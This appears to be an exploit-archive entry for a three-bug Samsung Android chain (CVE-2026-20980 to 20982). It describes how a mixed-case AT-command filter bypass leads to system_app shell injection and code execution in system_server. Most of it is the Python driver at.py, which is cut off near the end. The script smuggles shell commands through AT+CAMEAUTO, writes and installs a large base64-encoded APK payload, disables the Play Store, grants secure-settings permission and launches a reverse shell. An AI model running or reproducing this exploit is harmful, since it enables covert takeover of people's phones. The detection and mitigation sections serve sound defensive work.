Critical CVE-2026-20980 (chained with CVE-2026-20981 and CVE-2026-20982) unpatched

Samsung Android AT-Command Filter Bypass to system_server Code Execution (CVE-2026-20980)

by Vikramaditya015 · 2026-07-05

Severity: Critical
CVE: CVE-2026-20980 (chained with CVE-2026-20981 and CVE-2026-20982)
Category: binary
Affected product: Samsung Android AT-command distribution stack (at_distributor / libpacm_client.so, FacAtFunction system app, ShortcutService)
Affected versions: Samsung Android devices with the vulnerable at_distributor command filter and ShortcutService restore path (device tested: Exynos-based Samsung phone, SM8550 platform referenced in AT responses)
Disclosed: 2026-07-05
Patch status: unpatched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-06
Author / Researcher	Vikramaditya015
CVE / Advisory	CVE-2026-20980 (chained with CVE-2026-20981 and CVE-2026-20982)
Category	binary
Severity	Critical
CVSS Score	Not specified in source
Status	PoC
Tags	android, samsung, at-command, privilege-escalation, usb, system-server, exploit-chain, java, apk
Related	N/A

Affected Target

Field	Value
Software / System	Samsung Android AT-command distribution stack (`at_distributor` / `libpacm_client.so`, `FacAtFunction` system app, `ShortcutService`)
Versions Affected	Samsung Android devices with the vulnerable `at_distributor` command filter and `ShortcutService` restore path (device tested: Exynos-based Samsung phone, SM8550 platform referenced in AT responses)
Language / Platform	Python (serial/AT PoC) + Java (Android exploit component); target platform Android/Samsung
Authentication Required	Local-only (requires physical USB access to the device’s diagnostic serial port)
Network Access Required	No

Summary

CVE-2026-20980 is the first stage of a three-bug exploit chain against Samsung’s AP AT-command handling. The at_distributor daemon filters “protected” AT commands via libpacm_client.so’s pacm_check_at_cmds, which rejects multi-command payloads by checking for the literal prefixes at+/AT+ but fails to also reject the mixed-case variants aT+/At+. By hiding a second, normally-protected AT command behind a first throwaway command using this mixed-case prefix, an attacker with USB serial access can smuggle unregistered/protected AT commands past the filter. This bypass is the entry point that lets the accompanying PoC chain into CVE-2026-20981 (unsanitized filename in the FacAtFunction screen-capture AT command, enabling shell command injection as a system app) and CVE-2026-20982 (a path-traversal arbitrary file write in ShortcutService’s Smart Switch bitmap-restore handler, enabling code execution inside system_server).

Vulnerability Details

Root Cause

Command::is_multiple_cmds() in libpacm_client.so only performs case-sensitive memcmp checks against the exact strings "at+" and "AT+" to detect (and block) chained/multiple AT commands. It never checks the mixed-case forms "aT+" or "At+", so a command line such as AT+\naT+VERSNAME=1,3,0 slips past the multiple-command guard and reaches the protected/unregistered command dispatcher.

Attack Vector

Attacker connects to the device over USB and switches the AP into unlocked AT command mode (AT+SWATD=0, AT+ACTIVATE=0,0,0, AT+SWATD=1).
Attacker sends a throwaway command followed by a mixed-case-prefixed protected command (e.g. AT+\naT+VERSNAME=1,3,0), bypassing the is_multiple_cmds filter (CVE-2026-20980).
Using the same bypass, the attacker reaches the unregistered AT+CAMEAUTO command in the FacAtFunction system app (uid 1000), which builds a shell command from an unsanitized filename argument, allowing arbitrary shell command execution as that system app (CVE-2026-20981).
From the system-app shell, the attacker installs a companion APK and invokes ShortcutService’s Smart Switch bitmap-restore RPC, whose str/str2 path components are not sanitized for ../ sequences, allowing an arbitrary file write inside system_server’s process (CVE-2026-20982).
The attacker overwrites a system package’s base.apk/packages.xml entry via this write primitive to gain code execution with system_server privileges.

Impact

Full local privilege escalation chain from an unauthenticated USB AT-command session to arbitrary code execution as a privileged system app and ultimately inside system_server, effectively giving the attacker system-level control of the device.

Environment / Lab Setup

Target:   Samsung Android device with USB debugging/AT-command serial interface reachable and vulnerable at_distributor/FacAtFunction/ShortcutService components
Attacker: Host PC with Python 3, pyserial, adb, and a USB cable to the target device

Proof of Concept

PoC Script

See at.py (full chain driver), CVE-2026-20982/Exploit.java (source for the companion classes.dex), base.apk and classes.dex (companion Android payload artifacts) in this folder.

1
python3 at.py

The script waits for the Samsung device’s AT serial port to appear, unlocks AT command mode, sends the mixed-case-prefixed command that smuggles a hidden AT+CAMEAUTO screen-capture command containing a shell injection payload, which decodes and installs a bundled APK, grants it permissions, and spawns a reverse shell. It then uses adb to push base.apk/classes.dex and drive the ShortcutService path-traversal write to escalate the shell into system_server context.

Detection & Indicators of Compromise

Signs of compromise:

Unexpected package installs originating from /data/log/adb.apk or similar staging paths.
FacAtFunction spawning /system/bin/sh child processes tied to AT+CAMEAUTO screen-capture calls.
Modified base.apk or packages.xml for unrelated system packages following ShortcutService bitmap-restore calls.

Remediation

Action	Detail
Primary fix	No vendor patch confirmed as of 2026-07-05 — monitor for Samsung SMR advisory covering CVE-2026-20980/20981/20982
Interim mitigation	Disable or restrict USB AT-command/diagnostic serial access on production devices; enforce filename/path sanitization review for `ShortcutService` restore APIs; restrict physical USB debugging access.

References

Source repository

Notes

Mirrored from https://github.com/Vikramaditya015/samsung-android-lpe on 2026-07-05.

at.py

python raw GitHub ↓ Download

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
import serial
import serial.tools.list_ports
import sys
import time
import shutil
import subprocess


def find_samsung_port():
    print("Waiting for device...")
    while True:
        ports = serial.tools.list_ports.comports()
        for port in ports:
            desc = (port.description or '').lower()
            if 'samsung' in desc or 'cdc acm' in desc:
                return port.device
        time.sleep(2)


def open_serial_port(port_name, baudrate=115200, timeout=2):
    try:
        ser = serial.Serial(port_name, baudrate, timeout=timeout)
        print(f"Opened serial port: {port_name}")
        return ser
    except serial.SerialException as e:
        print(f"Error opening port {port_name}: {e}")
        sys.exit(1)


def check_connection(ser):
    ports = [p.device for p in serial.tools.list_ports.comports()]
    return ser.port in ports

def send_at_command(ser, command, delay=1):
    full_cmd = command.strip() + "\r\n"
    ser.write(full_cmd.encode())
    #print(f"\n>> {command}")
    time.sleep(delay)
    response = ser.read_all().decode(errors='ignore')
    #print(f"<< {response.strip()}\n")
    return response


def main():
    adb = shutil.which("adb")
    if not adb:
        print("Install adb and add to env.")
        sys.exit(1)
    print("AT Exploit\n")
    port_name = find_samsung_port()
    ser = open_serial_port(port_name, 115200)
    index = 0
    index1 = 0
    cmds = ["AT+SWATD=0","AT+ACTIVATE=0,0,0","AT+SWATD=1","AT\naT+CAMEAUTO=0,1,0,2,/;echo -n 'H4sICKdzC2kAA2FkYi5hcGsA7Xt3VBTLtvcwhAHJkhEYUMlpyCBJQJCco0hmRJA45DjknHNGRckZBESCZIWRKDkMOUjOGR6+c+87fuee+31/fGu99dZb/npVV9Wu0NVdu3b3rr1bVQEVjRiAiYkJUCiG6g+fk2GfoAAA9qgAADYAADCzNnF0hDpymEPdbBLE7YYfk3chqxNqlOQdpILbfNWNpcteCn8sYqJVjc1/0qNKp0V2QfyxvtahTC0Pk18T4xRwBSwJJQw8BUSyIaQhuySxbtsq8k+EzlY9nU+adyZ8aLpN1ZHj03nrX7dnYlo54VsnX7f6l4u7x3Teqti1KLeQcahJPEm41k7YPF0nMKCrNgSBH6NnDiLV0NllAiNc7F+9WcHi6TDGxGt9tYvnhSL+GNV9w/jeph/oNarkADrIGC0ven1rsnrEna8CQNp696WvwufKWAP9mr2qKCNTx87RxkHvtFmdJtGZqfd523ajr9ZqrfrNSKuQklF2xxWTyvH0sBTdEF1ZAansTmh2h0+ihbr5UIvOikj0qayL9MP4SibUZy2xTkiEAVePRhbs6IaZiGJgMqg0OhvY4NCskXgmGCa9fhKYKMdPNeORuIKajfH9Tu7lFzCjioLP0oHb3E5ngG/6PB3YUXx5YmDn610SlBHPMweKsBA5ltCjr1shdJXeRZshJiGUTKIEFOB39/NWVL/AZ32T9xHNkJFws7CnNef1qkMje/7XPpvPsXId3nT4qrP0Zg3zHJBbJWe92oZaefTzUzXkHpkjvPcaYc9KS5rL+a3FMjIsaFxWvEQOhtOOviO6eUqTUrJqC7UMX2QX6tCY2hDlFOlPLb3idGPQvvkGVlUAYf7KFaq3/HIHAMC8ZQ4AHQBblZ+I6Tb1M+AB0AAwqKOdM8zslmNMYI5mP+sAATj/WfoTKACq2+MX3Pb5z7zqf/Hhz369Z9OxbIEAgDEGAEB0S5GwNYfZWZormdhavoA6OnG42VgnJX5TJ5IgDlKxQLsvPv9U9TF/MgebQgBHDZurlZo8SackYQolpuzDxyxE34OwScWCFcC+QctD3btYbpg6P8ZcPeJfsOhOajA67qx72uVsNyc8gTbRJGaSHvLFrYzcy7n/6a112R3tz/yCQKPPrvYLq1lOuNNoJ581dim8UMU/c1YYxs/6x8yRZ/rmGGd/AH3XVLo3ucCeNSw2S5M9UP8e32r9sY1zxYa9GYIv1D26rth5vFY9FVXQ8smOMlfMWal+6QLCyjUJy2os1T1gTKjaFtdZqfHEI7BJDkHX805uE5XlQ6hN/Ig4fBv8FlbadMXY0P4V2cViMsOXJ4PAGCUYFXPJKAnOQhwBNaB8RsgcnUmD90UpHnnQUku58oHKjgZOY5hdlEXasLt/ytanzuGHnkSfhmfU6DcLej7yjytMaep8Os+7fmQ00k7gKiWsuVXRhcq+/25p67VnzJfvCyo7zMUNLxtc3OvClL6Je1NCiyti6mwIqYWrtes/pc/U8r7yPLiYrOWYWnTB34r+YTHdd7NUIpO16WzrL7MmZZlZ8r1m5oenhlgxWdyz7lOHpZ5RIuU+emNgZHLmJxzSx9hUfse+jswEhNWjUkN2XakzeGKXDh0XDiie6RZMXjcax9IvDqBiJGT1KBDrO0k4oDKqTgPcafeNN2y2DxEqUwIpDkR+GcxLHhemHVGgJlYJnTJXjjV2aY8EJjsG+wBC187uQB7m0f1X0/gNjj78JfNv+Z6f2h16Fjw5Cnf/uBIXCt7JnYgZVLXjtZcS/UYaP1b05APHUeHyphFzMV8a0lmzt8WxqfOZkNH3DGIPph0SVxm7K5Sfy+BXpvyTXd8IVzwb7ySticEDAAaYAQCSW3a1tjTlNIHZ8POyuwiacMKgLlCYI3TmGdyeeIQa7kk2J4uJdhf9yVf/VgzZ7ejFp5LWR3eBpvfUzviuH499mmqa/go9GZ/Z1ZjSVE1Vs4DxmVVK3+usxBopLN3itbRIlBfmLnUZAEKfQe/W8FMLZwk+Yyzs2Dj5dDE780mpFs/l/OkF7cXMzqo3vGnnovJidlZgtLbkABNo0qngIxN7j+PDGaRTuLwvDKCtEj7/KAXBkODHubCUybvG/K45E6zPqeTA2BRJrO6XmxDqud7YGFv1WNWO26jlQ6wL5EaDcZQ149UBVIV4SEjz+cMgj+z+vRTSO8y9vV3iGbBB+o6v+zDskXscle6MSXJ07G8PtQcyFDmaiAdbpHhpGEUV7zAfkEGOyfOGSEMZRh6zFNrqHGqxEnQfg19vWWpCDRR6tG2PVA02sQNTWHslWX9og1JGbhj5GVjIV0uwdtXJLu+QNXahG634C9TPRXGcPiK7ZCDzSsD2+YTtg3/5LRNg5xw39tx+GB254Q9vRxdf8xdf8Bdf8Yd3o8Mn0W/8sK/jsWd3/MGurUYPiFbPXDn264HelXDBWnQYxkuKD8SsWeYTniHV0Ys3LPLl9g3J7zS5KRPirYYCL8a3Q4m5kmZIc1lL5XQBTo8X0puzvmytE3B9r8nW/CYY1mEabkLAXlrQATkijjXwGNKUZXtPcUeyspaXQG/Q+a6FfF7yQxl5taEO7o+s8bzDFV66NLidvHOzA6ZTJAnvJFSG5dS1FJnv9z4Ksywq6lCM1TJlHirSDf/OUT84qXQ3Jn8yCq2V9Aw3qmZ6vCYYbSmUopKTq/Qb/pblKyR1KKNGOOFLASfdibcFtPmq7Rx1Ex36mqksOdiGK5/rBvtSD57Q+Zg/6ixsBJzy9kV/mT8QFFF0UFG7pvCHioZ4Cl6S4p3ATm2o+gTmafBWc8awbk/Clng5bfOfhKa756mpxJLa8R3cuEJcYW5YIeCVXXW8nZXddarZ9nkewUtpPM7FXTG81dUdh58nOTzO1V0NKsPW+VXBS2488Nxur5BXaLuF4ykkpH9+lxAvp3d+FNVv4fLyxOE0iSpbc/FZwMtN+fTKQPJXIx+Oa17WtDvpmEuXmciqk6BWVfEQvMKVG3RqJKdBOl/TXurLjC4gbABhWXGa6qTD6bbhVp76moNXne/4bfqNuWj8hJgSpGF79G6BWt1sDKR+nVI69zp0n1zF6xVgK8ePnrd5zWUo0tqibVrVtrH5o9MyK0jcuRhuIOXBRDIBI7BuSNE2SR8MFfGGRuBU8rP7UGS4zLzvMCKQ5QqGzH6czJY3Ecc8aBxbEKbt87uTOneCooQiKrnp2kvmR4Nyzvq6H1U0RB4y710hG+iH4Zf32q4OZcs/zBvwEl9xadVPOQDLI52DwRoP01Pg7nzzWVujZdKo2+fKEeaB5YqPte4eblc1xT3Z+yJyq7jNBVnE+2ZUlaThBl9NTj4jmel2QMjcXeoF58/8PFP3x0nBB04konxncjlCperPxal3kTliN3iFwDgLh2nsw6SZ5Nr7cuPxq3vuOlH8Ds+lOKwCMzPdOqrWSwmsJ+rUyG2iX7MtFU4m43JnzHLH4kxqqykHeoD7oCGZq6bKiHh9/CNwQKZ173LVsg2K53yj6PRTtDdgZaHJhfVFStRlT61ZHp246LqVdqRvijlkZMxoSzTh6I5d9NbBcXQWLcXLg4gIB6bGp7w5AyINbuoHLz/MXdgsP9yf/+yz3+Zbt8iKL5XOKr2TJqUf0RMs/2VNMhZOtonrwRrDd5b+NIdINgWt+XWOD/cmfXdo/v6mQ7kTaaXEnFqKeTVUlsyWmcVTnpZEN+Ry8Bt/jEPUlufHk8WMoFmuiiYqL2Pr4Hz37yCus8B9/Ln5DxMCtSuVS07IdpKELxkRLcxRoW1HFiGNJN0I6+N8MHJ6XLh2ZyRb5zPpef8244ByRV2weYOK5rFzTuw57Qo9vkSjW4uvk/W0ys69+WbU7e5jvmN/Q4wjruyIAcNIxo2ssxd1dbCldaKDi+js+k92n329PB7NtvE/P9U4TnYZEP2RJINheD8NZYDw0aNZf5PvE8Rl3wpUBVTv0kgjKafb3XT9vFuXHKvY/RRxflTiOUSWkzivxl2/cZ+/puOuurMR/BkPMah3OnagBr0S6ajwwVjvrn9d/nQH2CRh53YIXIIby9SD3ckDxJ8BhGo2A0QQGxz57ODSKaDzyFxOuVRTdsw7j7UQvdgYhPRLopWpniMsxId8VxzYyZ0VDzgUSbtEh811tJly7vXeHHQgiuZhfnfpQQa1IcTCcuXRJmo60dqBspHlARNhWy7TKmHB8yBxDRWzHygXCqlZhfODWqkPdnnQtgJ1XRslCsBL99qFaz2tsydo/C8JXpxM0KcFadO0EZ1ndp+xdU4/bp4zeI0Nq1CvyHdCXzl58flJbAbuPln1xEQqakl7JV9teSHZfoLDCpYjL+pUc15VuUXU9zGpi7Gnj168adFKtftcyj847Ywqjrl4BuxQQ2tInZLqiEY3OzAV17h6xeTi18UP4I2sCTxsvzvIp3t3G+zrEv8USPElLUnKWoEp44p/aNjXGw1OzctRs4ey+zKm0yu02BPfnnQntwZ/4Mb9s4nNGuwb' > /data/log/adb.txt;","AT\naT+CAMEAUTO=0,1,0,2,/;echo -n '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' >> /data/log/adb.txt;","AT\naT+CAMEAUTO=0,1,0,2,/;echo -n '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' >> /data/log/adb.txt;","AT\naT+CAMEAUTO=0,1,0,2,/;cat /data/log/adb.txt | base64 -d | gzip -dc > /data/log/adb.apk;","AT\naT+CAMEAUTO=0,1,0,2,/;pm disable com.android.vending && cat /data/log/adb.apk | pm install -S 12857 -i PrePackageInstaller --bypass-low-target-sdk-block && sleep 10 && $(pm path com.vikram.adb | sed 's|package:||; s|base.apk$|lib/arm64/reverse -p 1234|') && rm /data/log/adb.txt /data/log/adb.apk;setprop persist.sys.auto_confirm 1 && pm grant com.vikram.adb android.permission.WRITE_SECURE_SETTINGS && am broadcast -n com.vikram.adb/.Adb && sleep 2 && am broadcast -a com.android.server.ACTION_USBDEBUG_ENABLED;"]
    try:
        for cmd in cmds:
            if not check_connection(ser):
                print("\nUSB connection removed. Connection closed.")
                break
            if index == 0:
                print("[*] Activating Services...")
            elif index == 1:
                print("[+] Waiting...")
            elif index == 2:
                print("[+] Received...")
            elif index == 3:
                print("[*] Initializing shell")
            elif index>=4 and index<=6:
                print("[+] Processing...")
            else:
                print("[+] Done")
            send_at_command(ser, cmd)
            
            if index == 7:
                break
            index+=1
            time.sleep(10)

    except serial.SerialException:
        print("\nSerial connection lost unexpectedly.")

    finally:
        try:
            if ser.is_open:
                ser.close()        
        except Exception:
            pass

if __name__ == "__main__":
    try:
        main()
        adb = shutil.which("adb")
        print("[+] Waiting...")
        print("// system_app context shell , execute 'exit' inside shell to gain system_server context")
        subprocess.run([adb, "wait-for-device"],capture_output=True, text=True)
